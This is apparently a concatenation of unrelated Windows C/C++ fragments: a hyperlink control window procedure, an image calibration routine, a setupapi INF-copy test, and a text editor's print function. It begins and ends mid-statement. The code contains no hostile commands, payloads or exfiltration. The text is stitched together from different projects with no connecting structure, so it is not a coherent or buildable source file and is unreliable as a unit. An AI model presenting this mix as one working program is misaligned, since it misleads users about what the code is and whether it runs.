charWidth*iCharWidthCopy2/100, h, width, crText, crDarkBorder ); y += h; EndPaint(hWnd, &ps); }
static LRESULT CALLBACK HyperlinkWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam) { struct HyperlinkWndData *dat=(struct HyperlinkWndData*)GetWindowLongPtr(hwnd,0); switch(msg) { case WM_NCCREATE: dat=(struct HyperlinkWndData*)mir_calloc(sizeof(struct HyperlinkWndData)); if(dat==NULL) return FALSE; /* fail creation */ SetWindowLongPtr(hwnd,0,(LONG_PTR)dat); /* always succeeds */ /* fall thru */ case WM_SYSCOLORCHANGE: if(!(dat->flags&HLKF_HASENABLECOLOR)) { if(GetSysColorBrush(COLOR_HOTLIGHT)==NULL) dat->enableColor=RGB(0,0,255); else dat->enableColor=GetSysColor(COLOR_HOTLIGHT); dat->focusColor = RGB(GetRValue(dat->enableColor) / 2, GetGValue(dat->enableColor) / 2, GetBValue(dat->enableColor) / 2); } if(!(dat->flags&HLKF_HASDISABLECOLOR)) dat->disableColor=GetSysColor(COLOR_GRAYTEXT); break; case WM_SETFOCUS: case WM_KILLFOCUS: RedrawWindow(hwnd, NULL, NULL, RDW_INVALIDATE); break; case WM_MOUSEACTIVATE: SetFocus(hwnd); return MA_ACTIVATE; case WM_GETDLGCODE: { if (lParam) { MSG *msg = (MSG *) lParam; if (msg->message == WM_KEYDOWN) { if (msg->wParam == VK_TAB) return 0; if (msg->wParam == VK_ESCAPE) return 0; } else if (msg->message == WM_CHAR) { if (msg->wParam == '\t') return 0; if (msg->wParam == 27) return 0; } } return DLGC_WANTMESSAGE; } case WM_KEYDOWN: { switch (wParam) { case VK_SPACE: case VK_RETURN: SendMessage(GetParent(hwnd),WM_COMMAND,MAKEWPARAM(GetDlgCtrlID(hwnd),STN_CLICKED),(LPARAM)hwnd); break; } return 0; } case WM_LBUTTONDOWN: { POINT pt; POINTSTOPOINT(pt,MAKEPOINTS(lParam)); if(!PtInRect(&dat->rcText,pt)) break; SendMessage(GetParent(hwnd),WM_COMMAND,MAKEWPARAM(GetDlgCtrlID(hwnd),STN_CLICKED),(LPARAM)hwnd); return 0; } case WM_SETFONT: { LOGFONT lf; HFONT hFont; if((HFONT)wParam==NULL) { /* use default system color */ dat->hEnableFont=dat->hDisableFont=NULL; return 0; } if(GetObject((HFONT)wParam,sizeof(lf),&lf)) { lf.lfUnderline=1; hFont=CreateFontIndirect(&lf); if(hFont!=NULL) { dat->hEnableFont=hFont; dat->hDisableFont=(HFONT)wParam; if(LOWORD(lParam)) SendMessage(hwnd,HLK_INVALIDATE,0,0); SendMessage(hwnd,HLK_MEASURETEXT,0,0); } } return 0; } case WM_ERASEBKGND: return TRUE; case WM_ENABLE: case HLK_INVALIDATE: { RECT rcWnd; POINT pt; HWND hwndParent; if(!GetWindowRect(hwnd,&rcWnd)) break; pt.x=rcWnd.left; pt.y=rcWnd.top; hwndParent=GetParent(hwnd); if(hwndParent==NULL) hwndParent=hwnd; if(!ScreenToClient(hwndParent,&pt)) break; rcWnd.right=pt.x+(rcWnd.right-rcWnd.left); rcWnd.bottom=pt.y+(rcWnd.bottom-rcWnd.top); rcWnd.left=pt.x; rcWnd.top=pt.y; InvalidateRect(hwndParent,&rcWnd,TRUE); return 0; } case WM_GETFONT: return (LRESULT)dat->hDisableFont; case WM_CREATE: case HLK_MEASURETEXT: { TCHAR szText[256]; if(!GetWindowText(hwnd,szText,SIZEOF(szText))) return 0; lParam=(LPARAM)szText; /* fall thru */ case WM_SETTEXT: { HFONT hPrevFont = NULL; SIZE textSize; RECT rc; HDC hdc; LONG style; BOOL fMeasured=FALSE; hdc=GetDC(hwnd); if(hdc==NULL) return 0; /* text change failed */ if(dat->hEnableFont!=NULL) hPrevFont=(HFONT)SelectObject(hdc,dat->hEnableFont); if(dat->hEnableFont==NULL || hPrevFont!=NULL) /* select failed? */ if(GetTextExtentPoint32(hdc,(TCHAR*)lParam,lstrlen((TCHAR*)lParam),&textSize)) if(GetClientRect(hwnd,&rc)) { dat->rcText.top=0; dat->rcText.bottom=dat->rcText.top+textSize.cy; style=GetWindowLongPtr(hwnd,GWL_STYLE); if(style&SS_CENTER) dat->rcText.left=(rc.right-textSize.cx)/2; else if(style&SS_RIGHT) dat->rcText.left=rc.right-textSize.cx; else dat->rcText.left=0; dat->rcText.right=dat->rcText.left+textSize.cx; fMeasured=TRUE; } if(dat->hEnableFont!=NULL && hPrevFont!=NULL) SelectObject(hdc,hPrevFont); ReleaseDC(hwnd,hdc); if(!fMeasured) return 0; /* text change failed */ SendMessage(hwnd,HLK_INVALIDATE,0,0); break; }} case WM_SETCURSOR: { POINT pt; HCURSOR hCursor; if(!GetCursorPos(&pt)) return FALSE; if(!ScreenToClient(hwnd,&pt)) return FALSE; if(PtInRect(&dat->rcText,pt)) { hCursor=(HCURSOR)GetClassLongPtr(hwnd,GCLP_HCURSOR); if(hCursor==NULL) hCursor=LoadCursor(NULL,IDC_HAND); /* Win2000+ */ } else hCursor=LoadCursor(NULL,IDC_ARROW); SetCursor(hCursor); return TRUE; } case HLK_SETENABLECOLOUR: { COLORREF prevColor=dat->enableColor; dat->enableColor=(COLORREF)wParam; dat->focusColor = RGB(GetRValue(dat->enableColor) / 2, GetGValue(dat->enableColor) / 2, GetBValue(dat->enableColor) / 2); dat->flags|=HLKF_HASENABLECOLOR; return (LRESULT)prevColor; } case HLK_SETDISABLECOLOUR: { COLORREF prevColor=dat->disableColor; dat->disableColor=(COLORREF)wParam; dat->flags|=HLKF_HASDISABLECOLOR; return (LRESULT)prevColor; } case WM_NCPAINT: return 0; case WM_PAINT: { HFONT hPrevFont; RECT rc; TCHAR szText[256]; UINT alignFlag; COLORREF textColor; PAINTSTRUCT ps; HDC hdc; hdc=BeginPaint(hwnd,&ps); if(hdc!=NULL) { if(IsWindowEnabled(hwnd)) { hPrevFont=(HFONT)SelectObject(hdc,dat->hEnableFont); textColor = (GetFocus() == hwnd) ? dat->focusColor : dat->enableColor; } else { hPrevFont=(HFONT)SelectObject(hdc,dat->hDisableFont); textColor=dat->disableColor; } if(GetClientRect(hwnd,&rc) && GetWindowText(hwnd,szText,SIZEOF(szText))) { if (drawThemeParentBackground && IsWinVerXPPlus()) { BOOL fSmoothing; UINT fSmoothingType; SystemParametersInfo(SPI_GETFONTSMOOTHING, 0, &fSmoothing, 0); SystemParametersInfo(SPI_GETFONTSMOOTHINGTYPE, 0, &fSmoothingType, 0); if (fSmoothing && fSmoothingType == FE_FONTSMOOTHINGCLEARTYPE) drawThemeParentBackground(hwnd, hdc, &rc); } SetBkMode(hdc,TRANSPARENT); SetTextColor(hdc,textColor); alignFlag=(GetWindowLongPtr(hwnd,GWL_STYLE)&(SS_CENTER|SS_RIGHT|SS_LEFT)); DrawText(hdc,szText,-1,&rc,alignFlag|DT_NOPREFIX|DT_SINGLELINE|DT_TOP); } if(hPrevFont!=NULL) SelectObject(hdc,hPrevFont); EndPaint(hwnd,&ps); } return 0; } case WM_NCDESTROY: if(dat->hEnableFont!=NULL) DeleteObject(dat->hEnableFont); mir_free(dat); break; } return DefWindowProc(hwnd,msg,wParam,lParam); }
//************************************************************************ LOCAL STATUS_CODE ApplyCalibration( LPIMAGE lpImage, ITEMID dirty, LPSTR lpScanMap, LPSTR lpPrintMap, LPRECT lpUpdateRect, LPUPDATE_TYPE lpUpdateType) //************************************************************************ { FNAME szFileName; ENGINE Engine; LPCALMAPS lpMaps; BOOL fScanMap, fPrintMap; FRMTYPEINFO TypeInfo; LPCOLORMAP lpColorMap; STATUS_CODE StatusCode; int i; ASSERT(lpImage); AstralSetRectEmpty(lpUpdateRect); *lpUpdateType = UT_NONE; ImgGetTypeInfo(lpImage, &TypeInfo); lpMaps = (LPCALMAPS)Alloc(sizeof(CALMAPS)); if (!lpMaps) { Message(IDS_EMEMALLOC); return(SC_MEMERROR); } for (i = 0; i < CALSCAN_MAPS; ++i) ResetMap( &lpMaps->ScanMap[i], CALPOINTS, NO ); if (fScanMap = (lstrlen(lpScanMap) != 0)) { if ( LookupExtFileN( lpScanMap, szFileName, IDN_SCANMAP, NO ) ) { // Remember that the maps load in XRGB order if (!LoadMap( &lpMaps->ScanMap[CALSCAN_GRAY], &lpMaps->ScanMap[CALSCAN_RED], &lpMaps->ScanMap[CALSCAN_GREEN], &lpMaps->ScanMap[CALSCAN_BLUE], szFileName )) { FreeUp(lpMaps); return(SC_READERROR); } if (TypeInfo.DataType == FDT_CMYKCOLOR) { // make maps work on cmyk for (i = 0; i < CALSCAN_MAPS; ++i) ReverseMap(&lpMaps->ScanMap[i], FALSE); } } else { fScanMap = NO; } } for (i = 0; i < CAL_MAPS; ++i) ResetMap( &lpMaps->PrintMap[i], CALPOINTS, NO ); if (fPrintMap = (lstrlen(lpPrintMap) != 0)) { if ( LookupExtFileN( lpPrintMap, szFileName, IDN_CALMAP, NO ) ) { // Remember that the maps load in MCMYK order if (!LoadCalMap( &lpMaps->PrintMap[CAL_MASTER], &lpMaps->PrintMap[CAL_CYAN], &lpMaps->PrintMap[CAL_MAGENTA], &lpMaps->PrintMap[CAL_YELLOW], &lpMaps->PrintMap[CAL_BLACK], szFileName )) { FreeUp(lpMaps); return(SC_READERROR); } if (TypeInfo.DataType != FDT_CMYKCOLOR) { // make maps work on rgb for (i = 0; i < CAL_MAPS; ++i) ReverseMap(&lpMaps->PrintMap[i], FALSE); } } else { fPrintMap = NO; lpPrintMap = NULL; } } if (!fScanMap && !fPrintMap) { FreeUp(lpMaps); return(SC_SUCCESS); // user selected no maps??? } switch (TypeInfo.DataType) { case FDT_LINEART: case FDT_GRAYSCALE: MakeFloatMap(&lpMaps->ScanMap[CALSCAN_GRAY], lpMaps->CalPnts); MakeFloatMap(&lpMaps->PrintMap[CAL_BLACK], lpMaps->TmpPnts); MapCombine(lpMaps->CalPnts, lpMaps->TmpPnts); MapCreateLut(lpMaps->CalPnts, lpMaps->Lut[0]); break; case FDT_CMYKCOLOR: for (i = 0; i < 4; ++i) { if (i == 3) // black MakeFloatMap(&lpMaps->ScanMap[CALSCAN_GRAY], lpMaps->CalPnts); else MakeFloatMap(&lpMaps->ScanMap[CALSCAN_RED+i], lpMaps->CalPnts); MakeFloatMap(&lpMaps->PrintMap[CAL_MASTER], lpMaps->TmpPnts); MapCombine(lpMaps->CalPnts, lpMaps->TmpPnts); MakeFloatMap(&lpMaps->PrintMap[CAL_CYAN+i], lpMaps->TmpPnts); MapCombine(lpMaps->CalPnts, lpMaps->TmpPnts); MapCreateLut(lpMaps->CalPnts, lpMaps->Lut[i]); } break; default: case FDT_RGBCOLOR: case FDT_PALETTECOLOR: for (i = 0; i < 3; ++i) { MakeFloatMap(&lpMaps->ScanMap[CALSCAN_RED+i], lpMaps->CalPnts); MakeFloatMap(&lpMaps->PrintMap[CAL_MASTER], lpMaps->TmpPnts); MapCombine(lpMaps->CalPnts, lpMaps->TmpPnts); MakeFloatMap(&lpMaps->PrintMap[CAL_CYAN+i], lpMaps->TmpPnts); MapCombine(lpMaps->CalPnts, lpMaps->TmpPnts); MapCreateLut(lpMaps->CalPnts, lpMaps->Lut[i]); } break; } ImgGetTypeInfo(lpImage, &TypeInfo); if (TypeInfo.DataType == FDT_PALETTECOLOR) { lpColorMap = FrameCopyColorMap(TypeInfo.ColorMap); if (!lpColorMap) { Message(IDS_EMEMALLOC); return(SC_MEMERROR); } LineCalMapProc(0, 0, lpColorMap->NumEntries-1, (LPTR)lpColorMap->RGBData, (LPTR)lpColorMap->RGBData, 3, lpMaps); StatusCode = ApplyColorMap(lpImage, lpColorMap, FALSE, DT_NONE, dirty); FrameDestroyColorMap(lpColorMap); if (StatusCode == SC_SUCCESS) *lpUpdateType = UT_DATATYPE; } else { SetEngineDef(&Engine); Engine.lpDataProc = (LPDATAPROC)LineCalMapProc; Engine.lpParam = lpMaps; StatusCode = LineEngineSelObj(lpImage, &Engine, dirty); if (!AstralIsRectEmpty(&Engine.rUpdate)) { *lpUpdateRect = Engine.rUpdate; *lpUpdateType = UT_AREA; } } FreeUp(lpMaps); return(StatusCode); }
static void test_SetupCopyOEMInf(void) { CHAR toolong[MAX_PATH * 2]; CHAR path[MAX_PATH], dest[MAX_PATH]; CHAR tmpfile[MAX_PATH], dest_save[MAX_PATH]; LPSTR inf = NULL; DWORD size; BOOL res; /* try NULL SourceInfFileName */ SetLastError(0xdeadbeef); res = pSetupCopyOEMInfA(NULL, NULL, 0, SP_COPY_NOOVERWRITE, NULL, 0, NULL, NULL); ok(res == FALSE, "Expected FALSE, got %d\n", res); ok(GetLastError() == ERROR_INVALID_PARAMETER, "Expected ERROR_INVALID_PARAMETER, got %d\n", GetLastError()); /* try empty SourceInfFileName */ SetLastError(0xdeadbeef); res = pSetupCopyOEMInfA("", NULL, 0, SP_COPY_NOOVERWRITE, NULL, 0, NULL, NULL); ok(res == FALSE, "Expected FALSE, got %d\n", res); ok(GetLastError() == ERROR_FILE_NOT_FOUND || GetLastError() == ERROR_BAD_PATHNAME || /* Win98 */ GetLastError() == ERROR_INVALID_PARAMETER, /* Vista, W2K8 */ "Unexpected error : %d\n", GetLastError()); /* try a relative nonexistent SourceInfFileName */ SetLastError(0xdeadbeef); res = pSetupCopyOEMInfA("nonexistent", NULL, 0, SP_COPY_NOOVERWRITE, NULL, 0, NULL, NULL); ok(res == FALSE, "Expected FALSE, got %d\n", res); ok(GetLastError() == ERROR_FILE_NOT_FOUND, "Expected ERROR_FILE_NOT_FOUND, got %d\n", GetLastError()); /* try an absolute nonexistent SourceInfFileName */ lstrcpy(path, CURR_DIR); lstrcat(path, "\\nonexistent"); SetLastError(0xdeadbeef); res = pSetupCopyOEMInfA(path, NULL, 0, SP_COPY_NOOVERWRITE, NULL, 0, NULL, NULL); ok(res == FALSE, "Expected FALSE, got %d\n", res); ok(GetLastError() == ERROR_FILE_NOT_FOUND, "Expected ERROR_FILE_NOT_FOUND, got %d\n", GetLastError()); /* try a long SourceInfFileName */ memset(toolong, 'a', MAX_PATH * 2); toolong[MAX_PATH * 2 - 1] = '\0'; SetLastError(0xdeadbeef); res = pSetupCopyOEMInfA(toolong, NULL, 0, SP_COPY_NOOVERWRITE, NULL, 0, NULL, NULL); ok(res == FALSE, "Expected FALSE, got %d\n", res); ok(GetLastError() == ERROR_FILE_NOT_FOUND || GetLastError() == ERROR_FILENAME_EXCED_RANGE, /* Win98 */ "Expected ERROR_FILE_NOT_FOUND or ERROR_FILENAME_EXCED_RANGE, got %d\n", GetLastError()); get_temp_filename(tmpfile); create_inf_file(tmpfile); /* try a relative SourceInfFileName */ SetLastError(0xdeadbeef); res = pSetupCopyOEMInfA(tmpfile, NULL, 0, SP_COPY_NOOVERWRITE, NULL, 0, NULL, NULL); ok(res == FALSE || broken(res == TRUE), /* Win98 */ "Expected FALSE, got %d\n", res); if (GetLastError() == ERROR_WRONG_INF_TYPE || GetLastError() == ERROR_UNSUPPORTED_TYPE /* Win7 */) { /* FIXME: * Vista needs a [Manufacturer] entry in the inf file. Doing this will give some * popups during the installation though as it also needs a catalog file (signed?). */ win_skip("Needs a different inf file on Vista+\n"); DeleteFile(tmpfile); return; } ok(GetLastError() == ERROR_FILE_NOT_FOUND || broken(GetLastError() == ERROR_SUCCESS), /* Win98 */ "Expected ERROR_FILE_NOT_FOUND, got %d\n", GetLastError()); ok(file_exists(tmpfile), "Expected tmpfile to exist\n"); /* try SP_COPY_REPLACEONLY, dest does not exist */ SetLastError(0xdeadbeef); res = pSetupCopyOEMInfA(path, NULL, SPOST_NONE, SP_COPY_REPLACEONLY, NULL, 0, NULL, NULL); ok(res == FALSE, "Expected FALSE, got %d\n", res); ok(GetLastError() == ERROR_FILE_NOT_FOUND, "Expected ERROR_FILE_NOT_FOUND, got %d\n", GetLastError()); ok(file_exists(tmpfile), "Expected source inf to exist\n"); /* try an absolute SourceInfFileName, without DestinationInfFileName */ lstrcpy(path, CURR_DIR); lstrcat(path, "\\"); lstrcat(path, tmpfile); SetLastError(0xdeadbeef); res = pSetupCopyOEMInfA(path, NULL, SPOST_NONE, 0, NULL, 0, NULL, NULL); ok(res == TRUE, "Expected TRUE, got %d\n", res); ok(GetLastError() == ERROR_SUCCESS, "Expected ERROR_SUCCESS, got %d\n", GetLastError()); ok(file_exists(path), "Expected source inf to exist\n"); /* try SP_COPY_REPLACEONLY, dest exists */ SetLastError(0xdeadbeef); res = pSetupCopyOEMInfA(path, NULL, SPOST_NONE, SP_COPY_REPLACEONLY, NULL, 0, NULL, NULL); ok(res == TRUE, "Expected TRUE, got %d\n", res); ok(GetLastError() == ERROR_SUCCESS, "Expected ERROR_SUCCESS, got %d\n", GetLastError()); ok(file_exists(path), "Expected source inf to exist\n"); /* try SP_COPY_NOOVERWRITE */ SetLastError(0xdeadbeef); res = pSetupCopyOEMInfA(path, NULL, SPOST_NONE, SP_COPY_NOOVERWRITE, NULL, 0, NULL, NULL); ok(res == FALSE, "Expected FALSE, got %d\n", res); ok(GetLastError() == ERROR_FILE_EXISTS, "Expected ERROR_FILE_EXISTS, got %d\n", GetLastError()); /* get the DestinationInfFileName */ SetLastError(0xdeadbeef); res = pSetupCopyOEMInfA(path, NULL, SPOST_NONE, 0, dest, MAX_PATH, NULL, NULL); ok(res == TRUE, "Expected TRUE, got %d\n", res); ok(GetLastError() == ERROR_SUCCESS, "Expected ERROR_SUCCESS, got %d\n", GetLastError()); ok(lstrlen(dest) != 0, "Expected a non-zero length string\n"); ok(file_exists(dest), "Expected destination inf to exist\n"); ok(check_format(dest, NULL), "Expected %%windir%%\\inf\\OEMx.inf, got %s\n", dest); ok(file_exists(path), "Expected source inf to exist\n"); lstrcpy(dest_save, dest); DeleteFile(dest_save); /* get the DestinationInfFileName, DestinationInfFileNameSize is too small * - inf is still copied */ lstrcpy(dest, "aaa"); size = 0; SetLastError(0xdeadbeef); res = pSetupCopyOEMInfA(path, NULL, SPOST_NONE, 0, dest, 5, &size, NULL); ok(res == FALSE, "Expected FALSE, got %d\n", res); ok(GetLastError() == ERROR_INSUFFICIENT_BUFFER, "Expected ERROR_INSUFFICIENT_BUFFER, got %d\n", GetLastError()); ok(file_exists(path), "Expected source inf to exist\n"); ok(file_exists(dest_save), "Expected dest inf to exist\n"); ok(!lstrcmp(dest, "aaa"), "Expected dest to be unchanged\n"); ok(size == lstrlen(dest_save) + 1, "Expected size to be lstrlen(dest_save) + 1\n"); /* get the DestinationInfFileName and DestinationInfFileNameSize */ SetLastError(0xdeadbeef); res = pSetupCopyOEMInfA(path, NULL, SPOST_NONE, 0, dest, MAX_PATH, &size, NULL); ok(res == TRUE, "Expected TRUE, got %d\n", res); ok(GetLastError() == ERROR_SUCCESS, "Expected ERROR_SUCCESS, got %d\n", GetLastError()); ok(lstrlen(dest) + 1 == size, "Expected sizes to match, got (%d, %d)\n", lstrlen(dest), size); ok(file_exists(dest), "Expected destination inf to exist\n"); ok(check_format(dest, NULL), "Expected %%windir%%\\inf\\OEMx.inf, got %s\n", dest); ok(file_exists(path), "Expected source inf to exist\n"); ok(size == lstrlen(dest_save) + 1, "Expected size to be lstrlen(dest_save) + 1\n"); test_original_file_name(strrchr(path, '\\') + 1, dest); /* get the DestinationInfFileName, DestinationInfFileNameSize, and DestinationInfFileNameComponent */ SetLastError(0xdeadbeef); res = pSetupCopyOEMInfA(path, NULL, SPOST_NONE, 0, dest, MAX_PATH, &size, &inf); ok(res == TRUE, "Expected TRUE, got %d\n", res); ok(GetLastError() == ERROR_SUCCESS, "Expected ERROR_SUCCESS, got %d\n", GetLastError()); ok(lstrlen(dest) + 1 == size, "Expected sizes to match, got (%d, %d)\n", lstrlen(dest), size); ok(file_exists(dest), "Expected destination inf to exist\n"); ok((inf && inf[0] != 0) || broken(!inf), /* Win98 */ "Expected inf to point to the filename\n"); ok(check_format(dest, inf), "Expected %%windir%%\\inf\\OEMx.inf, got %s\n", dest); ok(file_exists(path), "Expected source inf to exist\n"); ok(size == lstrlen(dest_save) + 1, "Expected size to be lstrlen(dest_save) + 1\n"); /* try SP_COPY_DELETESOURCE */ SetLastError(0xdeadbeef); res = pSetupCopyOEMInfA(path, NULL, SPOST_NONE, SP_COPY_DELETESOURCE, NULL, 0, NULL, NULL); ok(res == TRUE, "Expected TRUE, got %d\n", res); ok(GetLastError() == ERROR_SUCCESS, "Expected ERROR_SUCCESS, got %d\n", GetLastError()); ok(!file_exists(path), "Expected source inf to not exist\n"); if (pSetupUninstallOEMInfA) { char pnf[MAX_PATH]; char *pnffile; char *destfile = strrchr(dest, '\\') + 1; strcpy(pnf, dest); *(strrchr(pnf, '.') + 1) = 'p'; pnffile = strrchr(pnf, '\\') + 1; SetLastError(0xdeadbeef); res = pSetupUninstallOEMInfA(destfile, 0, NULL); if(!res) res = pSetupUninstallOEMInfA(pnffile, 0, NULL); ok(res, "Failed to uninstall '%s'/'%s' : %d\n", destfile, pnffile, GetLastError()); todo_wine ok(!file_exists(dest), "Expected inf '%s' to not exist\n", dest); if(file_exists(dest)) { SetLastError(0xdeadbeef); res = DeleteFileA(dest); ok(res, "Failed to delete file '%s' : %d\n", dest, GetLastError()); } ok(!file_exists(pnf), "Expected pnf '%s' to not exist\n", pnf); if(file_exists(pnf)) { SetLastError(0xdeadbeef); res = DeleteFileA(pnf); ok(res, "Failed to delete file '%s' : %d\n", pnf, GetLastError()); } } else { /* Win9x/WinMe */ SetLastError(0xdeadbeef); res = DeleteFileA(dest); ok(res, "Failed to delete file '%s' : %d\n", dest, GetLastError()); /* On WinMe we also need to remove the .pnf file */ *(strrchr(dest, '.') + 1) = 'p'; DeleteFileA(dest); } }
extern "C" BOOL EditPrint(HWND hwnd,LPCWSTR pszDocTitle,LPCWSTR pszPageFormat) { // Don't print empty documents if (SendMessage(hwnd,SCI_GETLENGTH,0,0) == 0) { MsgBox(MBWARN,IDS_PRINT_EMPTY); return TRUE; } int startPos; int endPos; HDC hdc; RECT rectMargins; RECT rectPhysMargins; RECT rectSetup; POINT ptPage; POINT ptDpi; //RECT rectSetup; TEXTMETRIC tm; int headerLineHeight; HFONT fontHeader; int footerLineHeight; HFONT fontFooter; WCHAR dateString[256]; DOCINFO di = {sizeof(DOCINFO), 0, 0, 0, 0}; LONG lengthDoc; LONG lengthDocMax; LONG lengthPrinted; struct RangeToFormat frPrint; int pageNum; BOOL printPage; WCHAR pageString[32]; HPEN pen; HPEN penOld; PRINTDLG pdlg = { sizeof(PRINTDLG), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; pdlg.hwndOwner = GetParent(hwnd); pdlg.hInstance = g_hInstance; pdlg.Flags = PD_USEDEVMODECOPIES | PD_ALLPAGES | PD_RETURNDC; pdlg.nFromPage = 1; pdlg.nToPage = 1; pdlg.nMinPage = 1; pdlg.nMaxPage = 0xffffU; pdlg.nCopies = 1; pdlg.hDC = 0; pdlg.hDevMode = hDevMode; pdlg.hDevNames = hDevNames; startPos = SendMessage(hwnd,SCI_GETSELECTIONSTART,0,0);; endPos = SendMessage(hwnd,SCI_GETSELECTIONEND,0,0); if (startPos == endPos) { pdlg.Flags |= PD_NOSELECTION; } else { pdlg.Flags |= PD_SELECTION; } if (0) { // Don't display dialog box, just use the default printer and options pdlg.Flags |= PD_RETURNDEFAULT; } if (!PrintDlg(&pdlg)) { return TRUE; // False means error... } hDevMode = pdlg.hDevMode; hDevNames = pdlg.hDevNames; hdc = pdlg.hDC; // Get printer resolution ptDpi.x = GetDeviceCaps(hdc, LOGPIXELSX); // dpi in X direction ptDpi.y = GetDeviceCaps(hdc, LOGPIXELSY); // dpi in Y direction // Start by getting the physical page size (in device units). ptPage.x = GetDeviceCaps(hdc, PHYSICALWIDTH); // device units ptPage.y = GetDeviceCaps(hdc, PHYSICALHEIGHT); // device units // Get the dimensions of the unprintable // part of the page (in device units). rectPhysMargins.left = GetDeviceCaps(hdc, PHYSICALOFFSETX); rectPhysMargins.top = GetDeviceCaps(hdc, PHYSICALOFFSETY); // To get the right and lower unprintable area, // we take the entire width and height of the paper and // subtract everything else. rectPhysMargins.right = ptPage.x // total paper width - GetDeviceCaps(hdc, HORZRES) // printable width - rectPhysMargins.left; // left unprintable margin rectPhysMargins.bottom = ptPage.y // total paper height - GetDeviceCaps(hdc, VERTRES) // printable height - rectPhysMargins.top; // right unprintable margin // At this point, rectPhysMargins contains the widths of the // unprintable regions on all four sides of the page in device units. // Take in account the page setup given by the user (if one value is not null) if (pagesetupMargin.left != 0 || pagesetupMargin.right != 0 || pagesetupMargin.top != 0 || pagesetupMargin.bottom != 0) { // Convert the hundredths of millimeters (HiMetric) or // thousandths of inches (HiEnglish) margin values // from the Page Setup dialog to device units. // (There are 2540 hundredths of a mm in an inch.) WCHAR localeInfo[3]; GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_IMEASURE, localeInfo, 3); if (localeInfo[0] == L'0') { // Metric system. L'1' is US System rectSetup.left = MulDiv (pagesetupMargin.left, ptDpi.x, 2540); rectSetup.top = MulDiv (pagesetupMargin.top, ptDpi.y, 2540); rectSetup.right = MulDiv(pagesetupMargin.right, ptDpi.x, 2540); rectSetup.bottom = MulDiv(pagesetupMargin.bottom, ptDpi.y, 2540); } else { rectSetup.left = MulDiv(pagesetupMargin.left, ptDpi.x, 1000); rectSetup.top = MulDiv(pagesetupMargin.top, ptDpi.y, 1000); rectSetup.right = MulDiv(pagesetupMargin.right, ptDpi.x, 1000); rectSetup.bottom = MulDiv(pagesetupMargin.bottom, ptDpi.y, 1000); } // Dont reduce margins below the minimum printable area rectMargins.left = max(rectPhysMargins.left, rectSetup.left); rectMargins.top = max(rectPhysMargins.top, rectSetup.top); rectMargins.right = max(rectPhysMargins.right, rectSetup.right); rectMargins.bottom = max(rectPhysMargins.bottom, rectSetup.bottom); } else { rectMargins.left = rectPhysMargins.left; rectMargins.top = rectPhysMargins.top; rectMargins.right = rectPhysMargins.right; rectMargins.bottom = rectPhysMargins.bottom; } // rectMargins now contains the values used to shrink the printable // area of the page. // Convert device coordinates into logical coordinates DPtoLP(hdc, (LPPOINT)&rectMargins, 2); DPtoLP(hdc, (LPPOINT)&rectPhysMargins, 2); // Convert page size to logical units and we're done! DPtoLP(hdc, (LPPOINT) &ptPage, 1); headerLineHeight = MulDiv(8,ptDpi.y, 72); fontHeader = CreateFont(headerLineHeight, 0, 0, 0, FW_BOLD, 0, 0, 0, 0, 0, 0, 0, 0, L"Arial"); SelectObject(hdc, fontHeader); GetTextMetrics(hdc, &tm); headerLineHeight = tm.tmHeight + tm.tmExternalLeading; if (iPrintHeader == 3) headerLineHeight = 0; footerLineHeight = MulDiv(7,ptDpi.y, 72); fontFooter = CreateFont(footerLineHeight, 0, 0, 0, FW_NORMAL, 0, 0, 0, 0, 0, 0, 0, 0, L"Arial"); SelectObject(hdc, fontFooter); GetTextMetrics(hdc, &tm); footerLineHeight = tm.tmHeight + tm.tmExternalLeading; if (iPrintFooter == 1) footerLineHeight = 0; di.lpszDocName = pszDocTitle; di.lpszOutput = 0; di.lpszDatatype = 0; di.fwType = 0; if (StartDoc(hdc, &di) < 0) { DeleteDC(hdc); if (fontHeader) DeleteObject(fontHeader); if (fontFooter) DeleteObject(fontFooter); return FALSE; } // Get current date... SYSTEMTIME st; GetLocalTime(&st); GetDateFormat(LOCALE_USER_DEFAULT,DATE_SHORTDATE,&st,NULL,dateString,256); // Get current time... if (iPrintHeader == 0) { WCHAR timeString[128]; GetTimeFormat(LOCALE_USER_DEFAULT,TIME_NOSECONDS,&st,NULL,timeString,128); lstrcat(dateString,L" "); lstrcat(dateString,timeString); } // Set print color mode int printColorModes[5] = { SC_PRINT_NORMAL, SC_PRINT_INVERTLIGHT, SC_PRINT_BLACKONWHITE, SC_PRINT_COLOURONWHITE, SC_PRINT_COLOURONWHITEDEFAULTBG }; SendMessage(hwnd,SCI_SETPRINTCOLOURMODE,printColorModes[iPrintColor],0); // Set print zoom... SendMessage(hwnd,SCI_SETPRINTMAGNIFICATION,(WPARAM)iPrintZoom,0); lengthDoc = SendMessage(hwnd,SCI_GETLENGTH,0,0); lengthDocMax = lengthDoc; lengthPrinted = 0; // Requested to print selection if (pdlg.Flags & PD_SELECTION) { if (startPos > endPos) { lengthPrinted = endPos; lengthDoc = startPos; } else { lengthPrinted = startPos; lengthDoc = endPos; } if (lengthPrinted < 0) lengthPrinted = 0; if (lengthDoc > lengthDocMax) lengthDoc = lengthDocMax; } // We must substract the physical margins from the printable area frPrint.hdc = hdc; frPrint.hdcTarget = hdc; frPrint.rc.left = rectMargins.left - rectPhysMargins.left; frPrint.rc.top = rectMargins.top - rectPhysMargins.top; frPrint.rc.right = ptPage.x - rectMargins.right - rectPhysMargins.left; frPrint.rc.bottom = ptPage.y - rectMargins.bottom - rectPhysMargins.top; frPrint.rcPage.left = 0; frPrint.rcPage.top = 0; frPrint.rcPage.right = ptPage.x - rectPhysMargins.left - rectPhysMargins.right - 1; frPrint.rcPage.bottom = ptPage.y - rectPhysMargins.top - rectPhysMargins.bottom - 1; frPrint.rc.top += headerLineHeight + headerLineHeight / 2; frPrint.rc.bottom -= footerLineHeight + footerLineHeight / 2; // Print each page pageNum = 1; while (lengthPrinted < lengthDoc) { printPage = (!(pdlg.Flags & PD_PAGENUMS) || (pageNum >= pdlg.nFromPage) && (pageNum <= pdlg.nToPage)); wsprintf(pageString, pszPageFormat, pageNum); if (printPage) { // Show wait cursor... BeginWaitCursor(); // Display current page number in Statusbar StatusUpdatePrintPage(pageNum); StartPage(hdc); SetTextColor(hdc, RGB(0,0,0)); SetBkColor(hdc, RGB(255,255,255)); SelectObject(hdc, fontHeader); UINT ta = SetTextAlign(hdc, TA_BOTTOM); RECT rcw = {frPrint.rc.left, frPrint.rc.top - 